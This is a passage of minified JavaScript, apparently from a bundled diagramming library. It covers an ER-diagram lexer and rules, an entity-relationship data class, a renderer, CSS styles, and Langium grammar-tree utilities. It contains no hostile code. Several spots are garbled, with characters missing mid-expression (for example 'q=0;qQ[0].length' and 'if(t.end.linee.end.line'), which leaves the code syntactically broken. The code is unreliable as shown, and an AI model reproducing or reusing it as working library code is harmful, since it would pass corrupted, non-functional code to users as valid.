Error(Q)},"parseError"),setInput:o(function(ae,Q){return this.yy=Q||this.yy||{},this._input=ae,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var ae=this._input[0];this.yytext+=ae,this.yyleng++,this.offset++,this.match+=ae,this.matched+=ae;var Q=ae.match(/(?:\r\n?|\n).*/g);return Q?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),ae},"input"),unput:o(function(ae){var Q=ae.length,de=ae.split(/(?:\r\n?|\n)/g);this._input=ae+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Q),this.offset-=Q;var ne=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),de.length-1&&(this.yylineno-=de.length-1);var Te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:de?(de.length===ne.length?this.yylloc.first_column:0)+ne[ne.length-de.length].length-de[0].length:this.yylloc.first_column-Q},this.options.ranges&&(this.yylloc.range=[Te[0],Te[0]+this.yyleng-Q]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(ae){this.unput(this.match.slice(ae))},"less"),pastInput:o(function(){var ae=this.matched.substr(0,this.matched.length-this.match.length);return(ae.length>20?"...":"")+ae.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var ae=this.match;return ae.length<20&&(ae+=this._input.substr(0,20-ae.length)),(ae.substr(0,20)+(ae.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var ae=this.pastInput(),Q=new Array(ae.length+1).join("-");return ae+this.upcomingInput()+` +`+Q+"^"},"showPosition"),test_match:o(function(ae,Q){var de,ne,Te;if(this.options.backtrack_lexer&&(Te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Te.yylloc.range=this.yylloc.range.slice(0))),ne=ae[0].match(/(?:\r\n?|\n).*/g),ne&&(this.yylineno+=ne.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ne?ne[ne.length-1].length-ne[ne.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+ae[0].length},this.yytext+=ae[0],this.match+=ae[0],this.matches=ae,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(ae[0].length),this.matched+=ae[0],de=this.performAction.call(this,this.yy,this,Q,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),de)return de;if(this._backtrack){for(var q in Te)this[q]=Te[q];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var ae,Q,de,ne;this._more||(this.yytext="",this.match="");for(var Te=this._currentRules(),q=0;qQ[0].length)){if(Q=de,ne=q,this.options.backtrack_lexer){if(ae=this.test_match(de,Te[q]),ae!==!1)return ae;if(this._backtrack){Q=!1;continue}else return!1}else if(!this.options.flex)break}return Q?(ae=this.test_match(Q,Te[ne]),ae!==!1?ae:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Q=this.next();return Q||this.lex()},"lex"),begin:o(function(Q){this.conditionStack.push(Q)},"begin"),popState:o(function(){var Q=this.conditionStack.length-1;return Q>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Q){return Q=this.conditionStack.length-1-Math.abs(Q||0),Q>=0?this.conditionStack[Q]:"INITIAL"},"topState"),pushState:o(function(Q){this.begin(Q)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(Q,de,ne,Te){var q=Te;switch(ne){case 0:return this.begin("acc_title"),24;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),26;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return 33;case 8:return 34;case 9:return 35;case 10:return 36;case 11:return 10;case 12:break;case 13:return 8;case 14:return 50;case 15:return 70;case 16:return 4;case 17:return this.begin("block"),17;break;case 18:return 49;case 19:return 49;case 20:return 42;case 21:return 15;case 22:return 13;case 23:break;case 24:return 59;case 25:return 56;case 26:return 56;case 27:return 60;case 28:break;case 29:return this.popState(),19;break;case 30:return de.yytext[0];case 31:return 20;case 32:return 21;case 33:return this.begin("style"),44;break;case 34:return this.popState(),10;break;case 35:break;case 36:return 13;case 37:return 42;case 38:return 49;case 39:return this.begin("style"),37;break;case 40:return 43;case 41:return 63;case 42:return 65;case 43:return 65;case 44:return 65;case 45:return 63;case 46:return 63;case 47:return 64;case 48:return 64;case 49:return 64;case 50:return 64;case 51:return 64;case 52:return 65;case 53:return 64;case 54:return 65;case 55:return 66;case 56:return 66;case 57:return 66;case 58:return 66;case 59:return 63;case 60:return 64;case 61:return 65;case 62:return 67;case 63:return 68;case 64:return 69;case 65:return 69;case 66:return 68;case 67:return 68;case 68:return 68;case 69:return 41;case 70:return 47;case 71:return 40;case 72:return 48;case 73:return de.yytext[0];case 74:return 6}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:[\s]+)/i,/^(?:"[^"%\r\n\v\b\\]+")/i,/^(?:"[^"]*")/i,/^(?:erDiagram\b)/i,/^(?:\{)/i,/^(?:#)/i,/^(?:#)/i,/^(?:,)/i,/^(?::::)/i,/^(?::)/i,/^(?:\s+)/i,/^(?:\b((?:PK)|(?:FK)|(?:UK))\b)/i,/^(?:([^\s]*)[~].*[~]([^\s]*))/i,/^(?:([\*A-Za-z_\u00C0-\uFFFF][A-Za-z0-9\-\_\[\]\(\)\u00C0-\uFFFF\*]*))/i,/^(?:"[^"]*")/i,/^(?:[\n]+)/i,/^(?:\})/i,/^(?:.)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:style\b)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?::)/i,/^(?:,)/i,/^(?:#)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:one or zero\b)/i,/^(?:one or more\b)/i,/^(?:one or many\b)/i,/^(?:1\+)/i,/^(?:\|o\b)/i,/^(?:zero or one\b)/i,/^(?:zero or more\b)/i,/^(?:zero or many\b)/i,/^(?:0\+)/i,/^(?:\}o\b)/i,/^(?:many\(0\))/i,/^(?:many\(1\))/i,/^(?:many\b)/i,/^(?:\}\|)/i,/^(?:one\b)/i,/^(?:only one\b)/i,/^(?:1\b)/i,/^(?:\|\|)/i,/^(?:o\|)/i,/^(?:o\{)/i,/^(?:\|\{)/i,/^(?:\s*u\b)/i,/^(?:\.\.)/i,/^(?:--)/i,/^(?:to\b)/i,/^(?:optionally to\b)/i,/^(?:\.-)/i,/^(?:-\.)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:;)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:[0-9])/i,/^(?:.)/i,/^(?:$)/i],conditions:{style:{rules:[34,35,36,37,38,69,70],inclusive:!1},acc_descr_multiline:{rules:[5,6],inclusive:!1},acc_descr:{rules:[3],inclusive:!1},acc_title:{rules:[1],inclusive:!1},block:{rules:[23,24,25,26,27,28,29,30],inclusive:!1},INITIAL:{rules:[0,2,4,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,31,32,33,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,71,72,73,74],inclusive:!0}}};return K})();re.lexer=ee;function Z(){this.yy={}}return o(Z,"Parser"),Z.prototype=re,re.Parser=Z,new Z})();UI.parser=UI;Tfe=UI});var _E,kfe=N(()=>{"use strict";pt();Xt();ci();tr();_E=class{constructor(){this.entities=new Map;this.relationships=[];this.classes=new Map;this.direction="TB";this.Cardinality={ZERO_OR_ONE:"ZERO_OR_ONE",ZERO_OR_MORE:"ZERO_OR_MORE",ONE_OR_MORE:"ONE_OR_MORE",ONLY_ONE:"ONLY_ONE",MD_PARENT:"MD_PARENT"};this.Identification={NON_IDENTIFYING:"NON_IDENTIFYING",IDENTIFYING:"IDENTIFYING"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().er,"getConfig");this.clear(),this.addEntity=this.addEntity.bind(this),this.addAttributes=this.addAttributes.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setDirection=this.setDirection.bind(this),this.addCssStyles=this.addCssStyles.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"ErDB")}addEntity(e,r=""){return this.entities.has(e)?!this.entities.get(e)?.alias&&r&&(this.entities.get(e).alias=r,X.info(`Add alias '${r}' to entity '${e}'`)):(this.entities.set(e,{id:`entity-${e}-${this.entities.size}`,label:e,attributes:[],alias:r,shape:"erBox",look:ge().look??"default",cssClasses:"default",cssStyles:[]}),X.info("Added new entity :",e)),this.entities.get(e)}getEntity(e){return this.entities.get(e)}getEntities(){return this.entities}getClasses(){return this.classes}addAttributes(e,r){let n=this.addEntity(e),i;for(i=r.length-1;i>=0;i--)r[i].keys||(r[i].keys=[]),r[i].comment||(r[i].comment=""),n.attributes.push(r[i]),X.debug("Added attribute ",r[i].name)}addRelationship(e,r,n,i){let a=this.entities.get(e),s=this.entities.get(n);if(!a||!s)return;let l={entityA:a.id,roleA:r,entityB:s.id,relSpec:i};this.relationships.push(l),X.debug("Added new relationship :",l)}getRelationships(){return this.relationships}getDirection(){return this.direction}setDirection(e){this.direction=e}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}addCssStyles(e,r){for(let n of e){let i=this.entities.get(n);if(!r||!i)return;for(let a of r)i.cssStyles.push(a)}}addClass(e,r){e.forEach(n=>{let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)})})}setClass(e,r){for(let n of e){let i=this.entities.get(n);if(i)for(let a of r)i.cssClasses+=" "+a}}clear(){this.entities=new Map,this.classes=new Map,this.relationships=[],Sr()}getData(){let e=[],r=[],n=ge();for(let a of this.entities.keys()){let s=this.entities.get(a);s&&(s.cssCompiledStyles=this.getCompiledStyles(s.cssClasses.split(" ")),e.push(s))}let i=0;for(let a of this.relationships){let s={id:xc(a.entityA,a.entityB,{prefix:"id",counter:i++}),type:"normal",curve:"basis",start:a.entityA,end:a.entityB,label:a.roleA,labelpos:"c",thickness:"normal",classes:"relationshipLine",arrowTypeStart:a.relSpec.cardB.toLowerCase(),arrowTypeEnd:a.relSpec.cardA.toLowerCase(),pattern:a.relSpec.relType=="IDENTIFYING"?"solid":"dashed",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:"TB"}}}});var HI={};dr(HI,{draw:()=>lWe});var lWe,Efe=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();yr();lWe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing er diagram (unified)",e);let{securityLevel:i,er:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.config.flowchart.nodeSpacing=a?.nodeSpacing||140,l.config.flowchart.rankSpacing=a?.rankSpacing||80,l.direction=n.db.getDirection(),l.markers=["only_one","zero_or_one","one_or_more","zero_or_more"],l.diagramId=e,await Qo(l,u),l.layoutAlgorithm==="elk"&&u.select(".edges").lower();let h=u.selectAll('[id*="-background"]');Array.from(h).length>0&&h.each(function(){let d=qe(this),m=d.attr("id").replace("-background",""),g=u.select(`#${CSS.escape(m)}`);if(!g.empty()){let y=g.attr("transform");d.attr("transform",y)}});let f=8;qt.insertTitle(u,"erDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,f,"erDiagram",a?.useMaxWidth??!0)},"draw")});var cWe,uWe,Sfe,Cfe=N(()=>{"use strict";eo();cWe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),uWe=o(t=>` + .entityBox { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + } + + .relationshipLabelBox { + fill: ${t.tertiaryColor}; + opacity: 0.7; + background-color: ${t.tertiaryColor}; + rect { + opacity: 0.5; + } + } + + .labelBkg { + background-color: ${cWe(t.tertiaryColor,.5)}; + } + + .edgeLabel .label { + fill: ${t.nodeBorder}; + font-size: 14px; + } + + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + + .edge-pattern-dashed { + stroke-dasharray: 8,8; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon + { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .relationshipLine { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; + } + + .marker { + fill: none !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; + } +`,"getStyles"),Sfe=uWe});var Afe={};dr(Afe,{diagram:()=>hWe});var hWe,_fe=N(()=>{"use strict";wfe();kfe();Efe();Cfe();hWe={parser:Tfe,get db(){return new _E},renderer:HI,styles:Sfe}});function li(t){return typeof t=="object"&&t!==null&&typeof t.$type=="string"}function Ta(t){return typeof t=="object"&&t!==null&&typeof t.$refText=="string"}function qI(t){return typeof t=="object"&&t!==null&&typeof t.name=="string"&&typeof t.type=="string"&&typeof t.path=="string"}function _p(t){return typeof t=="object"&&t!==null&&li(t.container)&&Ta(t.reference)&&typeof t.message=="string"}function Ol(t){return typeof t=="object"&&t!==null&&Array.isArray(t.content)}function If(t){return typeof t=="object"&&t!==null&&typeof t.tokenType=="object"}function Lx(t){return Ol(t)&&typeof t.fullText=="string"}var Ap,Pl=N(()=>{"use strict";o(li,"isAstNode");o(Ta,"isReference");o(qI,"isAstNodeDescription");o(_p,"isLinkingError");Ap=class{static{o(this,"AbstractAstReflection")}constructor(){this.subtypes={},this.allSubtypes={}}isInstance(e,r){return li(e)&&this.isSubtype(e.$type,r)}isSubtype(e,r){if(e===r)return!0;let n=this.subtypes[e];n||(n=this.subtypes[e]={});let i=n[r];if(i!==void 0)return i;{let a=this.computeIsSubtype(e,r);return n[r]=a,a}}getAllSubTypes(e){let r=this.allSubtypes[e];if(r)return r;{let n=this.getAllTypes(),i=[];for(let a of n)this.isSubtype(a,e)&&i.push(a);return this.allSubtypes[e]=i,i}}};o(Ol,"isCompositeCstNode");o(If,"isLeafCstNode");o(Lx,"isRootCstNode")});function mWe(t){return typeof t=="string"?t:typeof t>"u"?"undefined":typeof t.toString=="function"?t.toString():Object.prototype.toString.call(t)}function DE(t){return!!t&&typeof t[Symbol.iterator]=="function"}function an(...t){if(t.length===1){let e=t[0];if(e instanceof po)return e;if(DE(e))return new po(()=>e[Symbol.iterator](),r=>r.next());if(typeof e.length=="number")return new po(()=>({index:0}),r=>r.index1?new po(()=>({collIndex:0,arrIndex:0}),e=>{do{if(e.iterator){let r=e.iterator.next();if(!r.done)return r;e.iterator=void 0}if(e.array){if(e.arrIndex{"use strict";po=class t{static{o(this,"StreamImpl")}constructor(e,r){this.startFn=e,this.nextFn=r}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),[Symbol.iterator]:()=>e};return e}[Symbol.iterator](){return this.iterator()}isEmpty(){return!!this.iterator().next().done}count(){let e=this.iterator(),r=0,n=e.next();for(;!n.done;)r++,n=e.next();return r}toArray(){let e=[],r=this.iterator(),n;do n=r.next(),n.value!==void 0&&e.push(n.value);while(!n.done);return e}toSet(){return new Set(this)}toMap(e,r){let n=this.map(i=>[e?e(i):i,r?r(i):i]);return new Map(n)}toString(){return this.join()}concat(e){return new t(()=>({first:this.startFn(),firstDone:!1,iterator:e[Symbol.iterator]()}),r=>{let n;if(!r.firstDone){do if(n=this.nextFn(r.first),!n.done)return n;while(!n.done);r.firstDone=!0}do if(n=r.iterator.next(),!n.done)return n;while(!n.done);return za})}join(e=","){let r=this.iterator(),n="",i,a=!1;do i=r.next(),i.done||(a&&(n+=e),n+=mWe(i.value)),a=!0;while(!i.done);return n}indexOf(e,r=0){let n=this.iterator(),i=0,a=n.next();for(;!a.done;){if(i>=r&&a.value===e)return i;a=n.next(),i++}return-1}every(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(!e(n.value))return!1;n=r.next()}return!0}some(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return!0;n=r.next()}return!1}forEach(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;)e(i.value,n),i=r.next(),n++}map(e){return new t(this.startFn,r=>{let{done:n,value:i}=this.nextFn(r);return n?za:{done:!1,value:e(i)}})}filter(e){return new t(this.startFn,r=>{let n;do if(n=this.nextFn(r),!n.done&&e(n.value))return n;while(!n.done);return za})}nonNullable(){return this.filter(e=>e!=null)}reduce(e,r){let n=this.iterator(),i=r,a=n.next();for(;!a.done;)i===void 0?i=a.value:i=e(i,a.value),a=n.next();return i}reduceRight(e,r){return this.recursiveReduce(this.iterator(),e,r)}recursiveReduce(e,r,n){let i=e.next();if(i.done)return n;let a=this.recursiveReduce(e,r,n);return a===void 0?i.value:r(a,i.value)}find(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return n.value;n=r.next()}}findIndex(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;){if(e(i.value))return n;i=r.next(),n++}return-1}includes(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(n.value===e)return!0;n=r.next()}return!1}flatMap(e){return new t(()=>({this:this.startFn()}),r=>{do{if(r.iterator){let a=r.iterator.next();if(a.done)r.iterator=void 0;else return a}let{done:n,value:i}=this.nextFn(r.this);if(!n){let a=e(i);if(DE(a))r.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}}while(r.iterator);return za})}flat(e){if(e===void 0&&(e=1),e<=0)return this;let r=e>1?this.flat(e-1):this;return new t(()=>({this:r.startFn()}),n=>{do{if(n.iterator){let s=n.iterator.next();if(s.done)n.iterator=void 0;else return s}let{done:i,value:a}=r.nextFn(n.this);if(!i)if(DE(a))n.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}while(n.iterator);return za})}head(){let r=this.iterator().next();if(!r.done)return r.value}tail(e=1){return new t(()=>{let r=this.startFn();for(let n=0;n({size:0,state:this.startFn()}),r=>(r.size++,r.size>e?za:this.nextFn(r.state)))}distinct(e){return new t(()=>({set:new Set,internalState:this.startFn()}),r=>{let n;do if(n=this.nextFn(r.internalState),!n.done){let i=e?e(n.value):n.value;if(!r.set.has(i))return r.set.add(i),n}while(!n.done);return za})}exclude(e,r){let n=new Set;for(let i of e){let a=r?r(i):i;n.add(a)}return this.filter(i=>{let a=r?r(i):i;return!n.has(a)})}};o(mWe,"toString");o(DE,"isIterable");Rx=new po(()=>{},()=>za),za=Object.freeze({done:!0,value:void 0});o(an,"stream");Gc=class extends po{static{o(this,"TreeStreamImpl")}constructor(e,r,n){super(()=>({iterators:n?.includeRoot?[[e][Symbol.iterator]()]:[r(e)[Symbol.iterator]()],pruned:!1}),i=>{for(i.pruned&&(i.iterators.pop(),i.pruned=!1);i.iterators.length>0;){let s=i.iterators[i.iterators.length-1].next();if(s.done)i.iterators.pop();else return i.iterators.push(r(s.value)[Symbol.iterator]()),s}return za})}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),prune:o(()=>{e.state.pruned=!0},"prune"),[Symbol.iterator]:()=>e};return e}};(function(t){function e(a){return a.reduce((s,l)=>s+l,0)}o(e,"sum"),t.sum=e;function r(a){return a.reduce((s,l)=>s*l,0)}o(r,"product"),t.product=r;function n(a){return a.reduce((s,l)=>Math.min(s,l))}o(n,"min"),t.min=n;function i(a){return a.reduce((s,l)=>Math.max(s,l))}o(i,"max"),t.max=i})(vg||(vg={}))});var RE={};dr(RE,{DefaultNameRegexp:()=>LE,RangeComparison:()=>Vc,compareRange:()=>Rfe,findCommentNode:()=>jI,findDeclarationNodeAtOffset:()=>yWe,findLeafNodeAtOffset:()=>KI,findLeafNodeBeforeOffset:()=>Nfe,flattenCst:()=>gWe,getInteriorNodes:()=>bWe,getNextNode:()=>vWe,getPreviousNode:()=>Ife,getStartlineNode:()=>xWe,inRange:()=>XI,isChildNode:()=>YI,isCommentNode:()=>WI,streamCst:()=>Dp,toDocumentSegment:()=>Lp,tokenToRange:()=>xg});function Dp(t){return new Gc(t,e=>Ol(e)?e.content:[],{includeRoot:!0})}function gWe(t){return Dp(t).filter(If)}function YI(t,e){for(;t.container;)if(t=t.container,t===e)return!0;return!1}function xg(t){return{start:{character:t.startColumn-1,line:t.startLine-1},end:{character:t.endColumn,line:t.endLine-1}}}function Lp(t){if(!t)return;let{offset:e,end:r,range:n}=t;return{range:n,offset:e,end:r,length:r-e}}function Rfe(t,e){if(t.end.linee.end.line||t.start.line===e.end.line&&t.start.character>=e.end.character)return Vc.After;let r=t.start.line>e.start.line||t.start.line===e.start.line&&t.start.character>=e.start.character,n=t.end.lineVc.After}function yWe(t,e,r=LE){if(t){if(e>0){let n=e-t.offset,i=t.text.charAt(n);r.test(i)||e--}return KI(t,e)}}function jI(t,e){if(t){let r=Ife(t,!0);if(r&&WI(r,e))return r;if(Lx(t)){let n=t.content.findIndex(i=>!i.hidden);for(let i=n-1;i>=0;i--){let a=t.content[i];if(WI(a,e))return a}}}}function WI(t,e){return If(t)&&e.includes(t.tokenType.name)}function KI(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!1);if(r)return KI(r,e)}}function Nfe(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!0);if(r)return Nfe(r,e)}}function Mfe(t,e,r){let n=0,i=t.content.length-1,a;for(;n<=i;){let s=Math.floor((n+i)/2),l=t.content[s];if(l.offset<=e&&l.end>e)return l;l.end<=e?(a=r?l:void 0,n=s+1):i=s-1}return a}function Ife(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t);for(;n>0;){n--;let i=r.content[n];if(e||!i.hidden)return i}t=r}}function vWe(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t),i=r.content.length-1;for(;n{"use strict";Pl();Ys();o(Dp,"streamCst");o(gWe,"flattenCst");o(YI,"isChildNode");o(xg,"tokenToRange");o(Lp,"toDocumentSegment");(function(t){t[t.Before=0]="Before",t[t.After=1]="After",t[t.OverlapFront=2]="OverlapFront",t[t.OverlapBack=3]="OverlapBack",t[t.Inside=4]="Inside",t[t.Outside=5]="Outside"})(Vc||(Vc={}));o(Rfe,"compareRange");o(XI,"inRange");LE=/^[\w\p{L}]$/u;o(yWe,"findDeclarationNodeAtOffset");o(jI,"findCommentNode");o(WI,"isCommentNode");o(KI,"findLeafNodeAtOffset");o(Nfe,"findLeafNodeBeforeOffset");o(Mfe,"binarySearch");o(Ife,"getPreviousNode");o(vWe,"getNextNode");o(xWe,"getStartlineNode");o(bWe,"getInteriorNodes");o(TWe,"getCommonParent");o(Lfe,"getParentChain")});function Uc(t){throw new Error("Error! The input value was not handled.")}var Rp,NE=N(()=>{"use strict";Rp=class extends Error{static{o(this,"ErrorWithLocation")}constructor(e,r){super(e?`${r} at ${e.range.start.line}:${e.range.start.character}`:r)}};o(Uc,"assertUnreachable")});var zx={};dr(zx,{AbstractElement:()=>wg,AbstractRule:()=>bg,AbstractType:()=>Tg,Action:()=>Gg,Alternatives:()=>Vg,ArrayLiteral:()=>kg,ArrayType:()=>Eg,Assignment:()=>Ug,BooleanLiteral:()=>Sg,CharacterRange:()=>Hg,Condition:()=>Nx,Conjunction:()=>Cg,CrossReference:()=>qg,Disjunction:()=>Ag,EndOfFile:()=>Wg,Grammar:()=>_g,GrammarImport:()=>Ix,Group:()=>Yg,InferredType:()=>Dg,Interface:()=>Lg,Keyword:()=>Xg,LangiumGrammarAstReflection:()=>i1,LangiumGrammarTerminals:()=>wWe,NamedArgument:()=>Ox,NegatedToken:()=>jg,Negation:()=>Rg,NumberLiteral:()=>Ng,Parameter:()=>Mg,ParameterReference:()=>Ig,ParserRule:()=>Og,ReferenceType:()=>Pg,RegexToken:()=>Kg,ReturnType:()=>Px,RuleCall:()=>Qg,SimpleType:()=>Bg,StringLiteral:()=>Fg,TerminalAlternatives:()=>Zg,TerminalGroup:()=>Jg,TerminalRule:()=>Np,TerminalRuleCall:()=>e1,Type:()=>$g,TypeAttribute:()=>Bx,TypeDefinition:()=>ME,UnionType:()=>zg,UnorderedGroup:()=>t1,UntilToken:()=>r1,ValueLiteral:()=>Mx,Wildcard:()=>n1,isAbstractElement:()=>Fx,isAbstractRule:()=>kWe,isAbstractType:()=>EWe,isAction:()=>qu,isAlternatives:()=>BE,isArrayLiteral:()=>DWe,isArrayType:()=>QI,isAssignment:()=>Fl,isBooleanLiteral:()=>ZI,isCharacterRange:()=>sO,isCondition:()=>SWe,isConjunction:()=>JI,isCrossReference:()=>Mp,isDisjunction:()=>eO,isEndOfFile:()=>oO,isFeatureName:()=>CWe,isGrammar:()=>LWe,isGrammarImport:()=>RWe,isGroup:()=>Of,isInferredType:()=>IE,isInterface:()=>OE,isKeyword:()=>Zo,isNamedArgument:()=>NWe,isNegatedToken:()=>lO,isNegation:()=>tO,isNumberLiteral:()=>MWe,isParameter:()=>IWe,isParameterReference:()=>rO,isParserRule:()=>Ga,isPrimitiveType:()=>Ofe,isReferenceType:()=>nO,isRegexToken:()=>cO,isReturnType:()=>iO,isRuleCall:()=>$l,isSimpleType:()=>PE,isStringLiteral:()=>OWe,isTerminalAlternatives:()=>uO,isTerminalGroup:()=>hO,isTerminalRule:()=>mo,isTerminalRuleCall:()=>FE,isType:()=>$x,isTypeAttribute:()=>PWe,isTypeDefinition:()=>AWe,isUnionType:()=>aO,isUnorderedGroup:()=>$E,isUntilToken:()=>fO,isValueLiteral:()=>_We,isWildcard:()=>dO,reflection:()=>pr});function kWe(t){return pr.isInstance(t,bg)}function EWe(t){return pr.isInstance(t,Tg)}function SWe(t){return pr.isInstance(t,Nx)}function CWe(t){return Ofe(t)||t==="current"||t==="entry"||t==="extends"||t==="false"||t==="fragment"||t==="grammar"||t==="hidden"||t==="import"||t==="interface"||t==="returns"||t==="terminal"||t==="true"||t==="type"||t==="infer"||t==="infers"||t==="with"||typeof t=="string"&&/\^?[_a-zA-Z][\w_]*/.test(t)}function Ofe(t){return t==="string"||t==="number"||t==="boolean"||t==="Date"||t==="bigint"}function AWe(t){return pr.isInstance(t,ME)}function _We(t){return pr.isInstance(t,Mx)}function Fx(t){return pr.isInstance(t,wg)}function DWe(t){return pr.isInstance(t,kg)}function QI(t){return pr.isInstance(t,Eg)}function ZI(t){return pr.isInstance(t,Sg)}function JI(t){return pr.isInstance(t,Cg)}function eO(t){return pr.isInstance(t,Ag)}function LWe(t){return pr.isInstance(t,_g)}function RWe(t){return pr.isInstance(t,Ix)}function IE(t){return pr.isInstance(t,Dg)}function OE(t){return pr.isInstance(t,Lg)}function NWe(t){return pr.isInstance(t,Ox)}function tO(t){return pr.isInstance(t,Rg)}function MWe(t){return pr.isInstance(t,Ng)}function IWe(t){return pr.isInstance(t,Mg)}function rO(t){return pr.isInstance(t,Ig)}function Ga(t){return pr.isInstance(t,Og)}function nO(t){return pr.isInstance(t,Pg)}function iO(t){return pr.isInstance(t,Px)}function PE(t){return pr.isInstance(t,Bg)}function OWe(t){return pr.isInstance(t,Fg)}function mo(t){return pr.isInstance(t,Np)}function $x(t){return pr.isInstance(t,$g)}function PWe(t){return pr.isInstance(t,Bx)}function aO(t){return pr.isInstance(t,zg)}function qu(t){return pr.isInstance(t,Gg)}function BE(t){return pr.isInstance(t,Vg)}function 